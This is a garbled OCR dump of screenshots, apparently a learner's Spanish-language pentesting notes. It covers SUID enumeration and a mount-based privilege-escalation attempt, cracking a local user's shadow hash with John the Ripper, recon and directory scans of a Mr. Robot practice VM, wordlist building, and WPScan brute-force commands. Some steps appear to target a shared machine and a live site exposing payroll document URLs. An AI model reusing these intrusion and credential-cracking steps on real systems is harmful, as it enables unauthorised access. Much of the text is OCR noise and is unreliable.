/usr/1ib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/1ib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/vim.basic
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/passwd
/bin/su
/bin/ntfs-3g
/bin/pingé
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping N
jangbasic2:*$ ping google.es
PING google.es (216.58.204.195) 56(84) bytes of data. N

Ne ¢ ARj UWGYT I Rea YVt WaRI ¢l WHGWHYG¢UT YW UWwdYe Uqgma



l mount ) Sponsor % Fork | YrStar 12871 &

Privilege escalation

This executable provides a mechanism for privilege escalation by indirectly enabling elevated privileges, such as
setting the SUID bit or modifying the ownership of another executable.

(a) This overrides itself with a shell (or any other executable).

This function is performed by the privileged user if executed via because the acquired privileges
are not dropped.

If there are environment variables involved, they must be passed via
exported then

2 g ¢ dWn VYl &¢ Whe JW RWbsa Ye Ugqwlt WWITWH: q¢ WIOWa Y1 ¥
cHARZUIO

/ moun t Sponsor % Fork Yy Star 12,871

Privilege escalation

This executable provides a mechanism for privilege escalation by indirectly enabling elevated privileges, such af
setting the SUID bit or modifying the ownership of another executable.

(a) This overrides itself with a shell (or any other executable).
This function is performed by the privileged user if executed via because the acquired privileges
are not dropped.

If there are environment variables involved, they must be passed via
exported then

Este ejecutable proporciona un mecanismo para la escalada
de privilegios al permitir indirectamente privilegios
elevados, tales como establecer el bit SUID o modificar la
propiedad de otro ejecutable
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jangbasic2:/home/kay$ mount -o bind /bin/sh /bin/mount
mount: only root can use

--options” option
jangbasic2:/home/kay$ mount -f§- bind /bin/sh /bin/mount
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Privilege escalation

his executable provides a mechanism for privilege escalation by indirectly enabling elevated privileges, such as

Translation [BETA|

From To
> log in using, for example,
English Spanish

Este ejecutable proporciona un mecanismo para la escalada

de privilegios al permitir indirectamente privilegios ' because the acquired privileges
elevados, tales como establecer el bit SUID o modificar la

propiedad de otro ejecutable.

be passed via

Translate full page Done
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jan is not in the sudoers file. This incident will be reported.
jangbasic2:/home/kay$ echo -e 'x\nx' | passwd
Changing password for jan.

(current) UNIX password: passwd: Authentication token manipulation error
passwd: password unchanged
jangbasic2:/home/kay$ l
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jangbasic2:~$ find / -perm -u=s -type f 2>/dev/null
/usr/1ib/x86_64-1linux-gnu/1xc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/1ib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/vim.basic

/usr/bin/pkexec

/usr/bin/newgrp

/usr/bin/chfn

/usr/bin/sudo

/usr/bin/chsh

/usr/bin/newgidmap

/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/passwd
/bin/su
/bin/ntfs-3g
/bin/pingé
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
Janaba51c2 $ ping google es
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binfmt.d debian_vers
default

jangbasic2:/etc$ cat FIELLT

at: shadow: Permission denied

jangbasic2:/etc$

janabasic2:/home/kay$ cd /et
janabasic2:/etc$ 1s
acpi ca-certificates deluser.conf gss iscsi localtime mke2fs.conf rci.d securetty subuid
adduser.conf ca-certificates.conf depmod. d gtk-2.0 issue logcheck modprobe.d rc2.d security subuid-
ca-certificates.conf.dpkg-old dhcp hdparm. conf issue.net login.defs modules pk red.d selinux sudoers
calendar dpkg host.conf java-8-openjdk  logrotate.conf modules-load.d rch.d sensors3.conf sudoers.d
console-setup drirc hostname kbd logrotate.d  mtab res.d sensors.d sysctl.conf
cron.d environment  hosts kernel 1sb-release nanore rc6.d services sysctl.d
cron.daily fonts hosts.allow kernel-img.conf ltrace.conf network rc.local sgal systend
cron.hourly fstab hosts. deny 1dap wm networks res.d shadow terminfo
cron.monthly fuse.conf init 1d.s0.cache machine-id newt profile.d resolvconf  shadow- timezone
crontab gai.conf init.d 1d.so0.conf nsswitch. conf protocols resolv.conf shells tmpfiles.d
groff initramfs-tools 1d.so.conf.d : opt pulse rmt skel ucf .conf
group inputre legal os-r1 python rpc sos. conf udev
group- insserv libaudit.conf  mailcap.order overlayroot.conf python2.7 rsyslog.conf ssh ufw
debconf .conf grub.d insserv.conf libnl-3 manpath, config pam.conf python3 rsyslog.d ssl updatedb, conf
debian_version gshadow insserv.conf.d locale.alias ndadn pan.d python3.s samba subgid update-manager
default gshadow- iproute2 locale.gen mime. types passwd rco.d screenrc subgid- update-motd.d

tc$ vim shadow
asic2:/etcs |

AJI GRY YW 3OWUNET YWGY! wTte UO
Al YW RW6EeENYa
MW2RAW 6¢T Y3 a

Az 13t W21 REY Y Lblq Y 16 ¢LAT 10 WLGIXCOH LI GRSt #af 1IBGYEI FOWIE OAEA WIf ~A§8 AN
ot 6¢T Ys




EOqYUHDt AWec oWt ¢HDI WG WEet 6 WT WWict WGettsYI T4t WGel
YAqUUWUI YO

2RHENWIIG WG YnJWhe WWRGE W wwe ¢! wovywWw 31 Re Wné HagRAG IIUN

AY Il tue IJWNY GlIUGLEE ¢ 'sIHDIT ¢ Wl | RAGWGWIUqUuWN! ¢ UT s WEUqYU
I REARYUe!l RYW! Ws YOUWNSIWWARNe G wWwOYWavYWaYUt 3NnaRI Ce
ECWHCOGARY WG WT WWTeUAWe DWW 2 WGEt + s YT W ¢ Wmwel 6c¢l
sY6UWNGSIDWAIE G B

EUqYUHDY W DWRERYGRe WG WSt 6 W WWTe OW! wyowyYaql ¢ Waldl ¢
ccHIa
MWOcUOYW6et 6Te UKog+ qOWO Wi WWHYGRE WE 6 RWIIG WS¢t 61O

hashjan.txt
)=[~
40113.txt 40136.py 7. hashjan.txt hydra.restore

jon|

OWedY!l ¢WaWWaqRI ¢ WeUa
MWTY6UWEet 6 Te UKog # q

o [
hashjan.txt

Using default input encoding: UTF-8

Loaded 1 password hash (shaS512crypt, crypt(3) $6% [SHA512 256/256 AVX2 4x])

Cost 1 (iteration count) is 5000 for all loaded hashes

Will run 6 OpenMP threads

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status

Warning: Only 11 candidates buffered for the current salt, minimum 24 needed for performance.

Almost done: Processing the remaining buffered candidate passwords, if any.

Proceeding with wordlist:/usr/share/john/password.lst

armando (jan)

1g 0:00:00:00 DONE 2/3 (2026-04-01 19:31) 1.149g/s 6955p/s 6955c¢/s 6955C/s chacha..mobydick

Use the "--show™ option to display all of the cracked passwords reliably

Session completed.
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hashjan.txi

) ~
hashjan.txt

Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6% [SHAS12 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 6 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 11 candidates buffered for the current salt, minimum 24 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456 (jan)
1g 0:00:00:00 DONE 2/3 (2026-04-01 19:36) 1.785g/s 6691p/s 6691c/s 6691C/s 123456..bigben
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
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— Entrega Gratuita «

INICIO  OFERTA EXCLUSIVA VOLKEEP  PLEGABLE  MAS VENDIDOS  VIAJERO

ACCESORIOS  Recién llegado m V°lkeep
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https://vollkeep.com/

- Entrega Gratuita ~

= YiVolkeep Q W

POLITICA DE PRIVACIDAD
1. RESPONSABLE DEL TRATAMIENTO

Volkeep S.L., con CIF B-12345678 y domicilio
social en Gran Via, 28, 28013 Madrid, Espana, es

——
el responsable del tratamiento de los datos

personales recogidos a través de este sitio web.
Puedes contactarnos en soporte@volkeep.com o

en el teléfono +34 612 345 678.

MmUWs 6 YRt

Ialfonso@debian:~$ whois vollkeep.com
bash: whois: orden no encontrada
alfonso@debian:~$ su -
Contrasefa:
root@debian:~# apt install whois
Installing:

whois

summary:
Upgrading: ©, Installing: 1, Removing: ©, Not Upgrading: 11
Download size: 72,4 kB
Space needed: 397 kB / 420 GB available

Des:1 http://deb.debian.org/debian trixie/main amd64 whois amd64 5.6.3 [72,4 kB]
Descargados 72,4 kB en 0s (2.031 kB/s)
Seleccionando el paquete whois previamente no seleccionado.
(Leyendo la base de datos ... 190600 ficheros o directorios instalados actualmente.)
|JPreparando para desempaquetar .../archives/whois 5.6.3 amd64.deb ...
Desempaquetando whois (5.6.3)
Configurando whois (5.6.3)
|Procesando disparadores para man-db (2.13.1-1)
root@debian:~# whois vollkeep.com
Domain Name: VOLLKEEP.COM
Registry Domain ID: 3059688429 DOMAIN COM-VRSN
Registrar WHOIS Server:
Registrar URL: http://www.hostinger.com
Updated Date: 2026-01-21T07:25:04Z
45 Creation Date: p{PLRIEPIITO7:25:04Z
Registry Expiry Date: 2027-01-21T07:25:04Z
Registrar: HOSTINGER operations, UAB
Registrar IANA ID: 1636
Registrar Abuse Contact Email: abuse-tracker@hostinger.com
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Trustpilot
hitps:/les [I’Ll%l}]léol com > review » volkeep

Lee las opiniones sobre el servicio de volkeep.com
Malo. TrustScore: 2 sobre 5. 9 opiniones. 5 estrellas. 4 estrellas
21 9 ©
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24

25 if(lisset($_POST['session id']) || $_POST['session id'] !== hash('sha256', $ COOKIE[$dominios[$dominio][1]])) {
26 $_SESSION[ 'error'] = 3; // Borrando de-sesién-o-sesién:no-valida

27 $_SESSION[$lockout_key] =-time() + 900; // Lock for 15 minutes

28 header("Location: index.php");

29 exit();

30 }

31

32 / Check if IP is locked out

33 if (isset($ SESSION[$lockout key]) && $ SESSION[S$lockout key] > time()) {
34 /echo $ SESSION[$lockout key], time(); // Debug lockout time

35 $ SESSION['error'] = 2; // Locked out

36 header("Location: index.php");

37 exit();

38}

39

40 // Initialize or increment attempt counter

41 if (!isset($ SESSION[$attempts key])) {

42 $ SESSION[$attempts key] = 0;

43 )

44

45 // Check if too many attempts I
46 if ($ SESSION[$attempts key] >= 5) {

47 $_SESSION[$lockout key] = time() + 900; // Lock for 15 minutes

48 $ SESSION['error'] = 2;

49 header("Location: index.php");

50 exit();

51 }

52
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»J Archivo Editar Seleccion Ver Ir Ejecutar Terminal Ayuda <

@ EXPLORADOR ® login.php & token.php X

~ DEMO.IFICHAR.COM includes > ™ token.php
v .vscode 1 <?php
session set cookie params( [
'lifetime’' => 0
1)

Q sftp.json
i_p > api

> documentos
S > iconos include once 'bbdd.php';
o v includes
# bbdd.php session name($dominios[$dominio] [0©]);
® dominios.php 9 Isessionr cache limiter('nocache’');
10 session start();

OO A WN

B

2 sqlsql

= 11
= | % tipos.ph
[—2) tipos.php 12

echo $ SESSION['CSRF TOKEN'];
# token.php 13 - B

7>
> itss
> logos

N ombhamscindeanlia

AY! ve JWWG WYt WOWEYWqRWUIWe JWHY Ut 2 G qé | WEé WEWINOL

< C 2% demo.ifichar.com/includes/token.php
-1 XUNTA EMPLE... *n Area personal|... o ' HEDIMACURS... € HA

b8e6d2a834e47ecce0bc613be8295532ecc316731b7b1d5dd2f9629d81c347eb

Et qVY LWt We Uc Wi YHaI ¢OW YW YW WALI Re W WWEYUWI W2 Rt T
Tt He RT Y4t Whe JWeaYGWTY! WeaWseHII WG e JACH WGe It a

® login.php  token.php X

includes > ® token.php
1 <?php
session set cookie params([
‘lifetime' => 0

2
3
4 1); g

5

6 include once 'bbdd.php';

7

8 session name($dominios[$dominio] [0]);

9 session cache limiter('nocache');
10 session start();

11
12 //echo $ SESSION['CSRF TOKEN']; S
13 7>
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nomina_Ue5qJUrgp certificado.pdf IFCTO109_ficha.pdf Factura Num
zC3HTUGUatvNYkz FE261370015063
mrRobot.ova turnos.sql DECLARACION factura_dientes_
RESPONSABLE.pdf  MIMXFnjwXgejFF
amrWNu8.pdf
I
Extranet de documentosafirmar documentosafirmar  contratoydocume
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< C 2 demo.ifichar.com/documentos.php
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@ Dejar de compartir

Documentos Disponibles:

> Nomina | mié 08-abril-2026 18:49 9
> Factura Dientes | mié 01-abril-2026 21:20 N
&

> Nomina Marzo 2025 | jue 26-marzo-2026 22:29
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® https://demo.ifichar.com/documentos/demo/dni_nomina_marzo_2026.pdf

)

® https://demo.ifichar.com/documentos/demo/dni_nomina_marzo_2026.pdf
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® https://demo.ifichar.com/documentos/demo/nomina_Ue5qJUrgpzC3HTUGUatvNYkze. pdf

® https://demo.ifichar.com/documentos/demo/nomina_Ue5qJUrgpzC3HTUGUatvNYkze.pdf
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E General Red

. Adaptador1 | Adaptador2 | Adaptador3 | Adaptador 4
Sistema

V| Habilitar adaptador de red
@ Pantalla
Conectar a  Adaptador puente =
@] Almacenamiento Nombre | enp11s0
‘:,Dj Audio Tipo de Adaptador | PCnet-PCl il (Am79C970A)
D'—J Red Promiscuous Mode ' Denegar
02720466

5;‘\\4 Duiartac caria

RI ¢WicW~ 9a

l

olWet RWI ¢ WIUHe WUql ¢ We Uqldt We d W6 e HIII
MWOWqT Rt #Y 2 131

a root@kali: /home/alfonso o}

Currently scanning: 192.168.0.0/16 | Screen View: Unique Hosts

18 Captured ARP Req/Rep packets, from 12 hosts. Total size: 1080

10:2c:b1:a7:93:bf

98:97:d1:aa:c2:6d
.36 08:00:27:20:a6:6¢C
g3 60:32:b1:58:32:4d
.91 84:aa:9c:9a:e5:3e
.138 48:9e:bd:al:al:39
.154 5c:96:66:25:74:d5
.201 bc:5b:d5:a8:6e:99
53 10:2c:b1:78:2f:ab

60:32:b1:58:32:4d
55 10:2c:b1:69:ed:5a
.37 34:3e:a4:b2:26:74

Smart Innovation LLC
MitraStar Technology Corp.
PCS Systemtechnik GmbH
TP-LINK TECHNOLOGIES CO.,LTD
MitraStar Technology Corp.
HP Inc.

Sony Interactive Entertainme
Commscope

Smart Innovation LLC

TP-LINK TECHNOLOGIES CO.,LTD
Smart Innovation LLC

Ring LLC

[ = I = O

Al WWAGYHW JwOYqet W Wt Jwneeél T ¢ Wf AW W~ 9 Wi Wi ¢ Wi
*+ 192168136 08 0027 o

john.lst ® 192168136 U8 002/

1 192.168.1.36
2 08:00:27:20:a6:6¢
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/home/alfonso

/home/alfonso

A -TS5 -sV -p- 192.168.1.36
ompleting external command
nm nmblookup nmtui
nmap nmcli nmtui-connect
nm-applet nm-connection-editor nmtui-edit
nmbd nm-online nmtui-hostname

NWORG GV Whe DW6ER BB WED W6 WRE MARDMT Yavywyowl RI WHq VIO

-A -T5 -sV -p- 192.168.1.36
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-08 19:13 CEST
Nmap scan report for 192.168.1.36
Host is up (0.00046s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
| _http-server-header: Apache
| _http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd
| _http-title: Site doesn't have a title (text/html).
| _http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
| _Not valid after: 2025-09-33T10:45:03
MAC Address: 08:00:27:20:A6: (PCs systemtechnik/Oracle VirtualBox virtual NIC)
Aggressive 0S guesses: Linux 3.10 - 4.11 (98%), Linux 3.2 - 4.14 (94%), Amazon F
ire TV (93%), Linux 3.2 - 3.8 (93%), Linux 3.13 - 4.4 (93%), Linux 3.18 (93%), L
inux 3.13 or 4.2 (92%), Linux 4.4 (92%), Synology DiskStation Manager 7.1 (Linux
4.4) (92%), Linux 2.6.32 - 3.13 (91%)
NO _eX3 0 3 - or -
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| _Not valid after: 2025-09-13T10:45:03

MAC Address: 08:00:27:20:A6:6C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| Aggressive 0S guesses: Linux 3.10 - 4.11 (98%), Linux 3.2 - 4.14 (94%), Amazon F
| ire TV (93%), Linux 3.2 - 3.8 (93%), Linux 3.13 - 4.4 (93%), Linux 3.18 (93%), L
| inux 3.13 or 4.2 (92%), (92%), Synology DiskStation Manager 7.1 (Linux

4.4) (92%), Linux 2.6.32 - 3.13 (91%)
| No exact 0S matches for host (test conditions non-ideal).
Network Distance: 1 hop
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B  192.168.1.36/ X+

« > C @ O @ Not Secure http://192.168.1.36

-8 Import bookmarks... OffSec Kali Linux @ Kali Tools Kali Docs ™

Debian GNU/Linux 7 mrrobot ttyl

mrrobot login: [j

AYUuaYt Wl YYqa
B  192.1681.36/ x4

« > C @ O & NotSecure http://192.168.1.36 d @ =0

-8 Import bookmarks... OffSec Kali Linux & Kali Tools Kali Docs % Kali Forums Kali NetHunter

Hello friend. If you've come, you've come for a
reason. You may not be able to explain it yet, but there's a part of
you that's exhausted with this world... a world that decides where you
work, who you see, and how you empty and fill your depressing bank
account. Even the Internet connection you're using to read this is

costing you, slowly chipping away at your existence. There are things
you want to say. Soon I will give you a voice. Today your education
begins.

Commands:
prepare
fsociety
inform
question
wakeup
join

root@fsociety:~#
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Hello friend.
able to explain it yet, but there's a part
world that decides where you work, who you
bank account. Even the Internet connection
chipping away at your existence. There are
voice. Today your education begins.

commands:
prepare
fsociety
inform
question
wakeup
join

root@fsociet
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ctions csstransforms
content
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DIRB v2.22
By The Dark Raver

 START_TIME: Wed Apr 8 19:24:49 2026
URL_BASE: http://192.168.1.36/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.36/ ---~
B-> Testing: http://192.168.1,36/_vti_bin/_vti_aut/author.dll

éclW2RIVUT YWhe JWIUH2 30ql ¢ W RI UHaVY!I RYt a

http://192.168.1.36

DIRB v2.22
By The Dark Raver

START_TIME: Wed Apr 8 19:24:49 2026
URL_BASE: http://192.168.1.36/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.36/ ----

==> DIRECTORY: http://192.168.1.36/0/

==> DIRECTORY: http://192.168.1.36/admin/

+ http://192.168.1.36/atom (CODE:301|SIZE:0)
=> DIRECTORY: http://192.168.1.36/audio/
=> DIRECTORY: http://192.168.1.36/blog/
--> Testing: http://192.168.1.36/count
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&« ] O & NotSecure http://192.168.1.36/0/|

-8 Import bookmarks. .. @ My secret blog - Just another WordPress site

user's Blog!

Just another WordPress J 3 [~

Sitemap - Colpbol.es

192.168.1.36
Search ...

elpais

RECENT COMMENTS

exploit Linux 4.4

ARCHIVES m B ==
Hablando: MSL Formacion
CATEGORIES

Proudly powered by WordPress
META

Login

Entries RSS

‘»\p'm'clpress.;;

0¢ WRUT RA¢ Whie JWé ¢! WeUOWs YI T GI Wt a

¢cWGI YA¢cUT YWac¢t WHE!I GUqeét Wl yweT 6 RUAWAGYNSB
B | 192.168.1.36/phpmyadmin %  +

&« C O A NotSecure http://192.168.1.36/phpmyadmi

-] Import bookmarks... OffSec Kali Linux #& Kali Tools Kali Docs % Kali Forums Kali NetHunter Expl

For security reasons, this URL is only accessible using localhost (127.0.0.1) as the hostname.
—
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Abir~ @ + 192168136 080027

192.168.1.36

08:00:27:20:a6:6¢

nmap

80/tcp open http Apache httpd
443/tcp open  ssl/http Apache httpd

Login del wp
http://192.168.1.36/wp-login.php

W oSNV S WN -

2 | user’sBlog!)Login .+

« 5 C @ O (& NotSecure http://192.168.1.36/wp-login.php

lINpcr I UK = @ My secret blog - Just another WordPress site

192.168.1.74

XML Sitemap - Colpbol.es

192.168.1.36

elpais

exploit Linux 4.4

s Hablando: MSL Formacion
Login
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5  user'sBlog!> Login X +

<« C @ O A NotSecure http://192.168.1.36/w ; edire w

-3) Import bookmarks... OffSec Kali Linux £ Kali Tools Kali Docs 3 Kali Forums

R Kali NetHunter

Jsername

Password

Hablando: MSL Formacion
Login

b4

sitemapxml  x +

& Not Secure p://192.168.1.36/sitem:

3] Import bookmarks... OffSec Kali Linux @ Kali Tools Kali Docs % Kali

XML Parsing Error: no root element found
Location: http://192.168.1.36/sitemap.xml
Line Number 1, Column 1:
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&) | user'sBlog!>Loglin X 192.168.1.36/sitemapxml X  +

« - C @ © - hip://192.168.1.36

. Z0Jq5xGx
show in Folder
XML ParSing Error: no ro Show all downloads

Location: http://192.168
Line Number 1, Column 1:

) Import bookmarks... OffSec Kali

Attt =

€ 5 C © - http://192.168.1.36[ss2

s

-2 Import bookmarks...

@ http://192.168.1.36/rss2 — Visit

XML Parsing Error: no root element found
Location: http://192.168.1.36/sitemap.xml
Line Number 1, Column 1:

Al YwoOvywzuayYt WieHG6¢ WHGRASEBLWEY WHY O YWe OWEG Rt q¢T YL
(3 | user'sBlog!sLogin X 192.168.1.36/robots.txt X  +

<« C @ O @ NotSecure http://192.168.1.36/robots. txt

-3 Import bookmarks... OffSec Kali Linux § Kali Tools Kali Docs % Kali
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-8) Import bookmarks... OffSec KaliLinux @ Kali Tools Kali Docs % Kali For
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« > C o O A NotSecure http://192.168.1.36/fsocity.dic

<) Import bookmarks... OffSec Kali Linux #& Kali Tools Kali Docs % Kali Forums

resourceloader
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Wiki
9 name

utmb
utma

ss.php 858150 attachments
kers 858151  ER28-0652
858152  psychedelic
858153 iamalearn I

858154 uHack

858155 imhack

858156  abcdefghijklmno

858157 abcdEfghijklmnop

858158  abcdefghijklmnopg

858159 c3fcd3d76192e4007dfb496ccab7el3b
858160 ABCDEFGHIJKLMNOPQRSTUVWXYZ

——
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alfonso@debian: ~/Descargas

2Fclose

wikin

projects

consult
34459952156456d29bc5be
hassle

among

resource

2Fgeneraln

Forums

mail

attachments

ER28-0652

psychedelic

iamalearn

uHack

imhack

abcdefghijklmno
abcdEfghijklmnop
abcdefghijklmnopg
c3fcd3d76192e40087dfb496ccab7el3b
ABCDEFGHIJKLMNOPQRSTUVWXYZ
21fnnso@dehian:~!De5cargas$ cat diccionario.txt | sort

MWAE¢ qWl REHRRYU¢C!I RYIOq+ql Wt YI qu We URKWXGEt t 1Oq # q WA
SURAYH W WG WWIYWGet JWqYT YWwe We Ow0e N2 YW3ZHE I Y WBGE

Leyuran
Zzydrax
Zzydrax
Zzydrax
alfonso@debian:~/Descargas$ cat diccionario.txt | sort | unig > pass.txt

Yl ¢cW! ¢a

®) Archivo Editar Seleccion Ver Ir - < Buscar
@ )0 Bienvenido di‘rhcicrna rio.txt pass.txt X
home » alfonso » Descargas > pass.txt

Cl 11436  zer0@

11437  zerOes
11438  zero
11439 Zero
11440 ZeroBas
11441 ZeroBased
11442 ZEeros
11443 Zeros
11444 zhthefinalcrush
11445  Zoeyadams
11446 Zombie
11447 zone
11448 Zone
11449 zones
11450  zSqu8myTkY8
11451  Zzydrax
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WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
a_WPScan_, gethicalhack3r, gerwan_lr, gfirefart

It seems like you have not updated the database for some time.
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http://192.168.1.36/blog/

fuerza bruta wpscan login

4 Vista creada con |IA

Para realizar un ataque de fuerza bruta al login de WordPress utilizando WPScan, se
emplean comandos que combinan la URL del sitio, el nombre de usuario (o una lista dg
ellos) y un diccionario de contrasenas. @

Comandos principales para fuerza bruta

Dependiendo de la informacion que tengas, puedes usar las siguientes variantes:

« Con un usuario especifico:
wpscan --url https://tu-sitio.com --passwords /ruta/al/diccionario.txt
--username admin

« Con una lista de usuarios:
wpscan --url https://tu-sitio.com --passwords /ruta/al/diccionario.txt
--usernames /ruta/a/usuarios.txt

« Enumerar usuarios y atacar después:
Primero identificas a los usuarios reales del sitio y luego lanzas el ataque:

Az 13t WGYT WAGYt W6¢HWI Wne WisAd HBWE § tseT G o YNDRUWge Uq VYL
¢cuvYt WeWRUqUWUaq@el WEeHIII WIS W WWbd Rt q¢ WT JWet 2¢l RYH

« Con una lista de usuarios:
wpscan --url https://tu-sitio.com --passwords /ruta/al/diccionario.txt

--usernames /ruta/a/usuarios.txt
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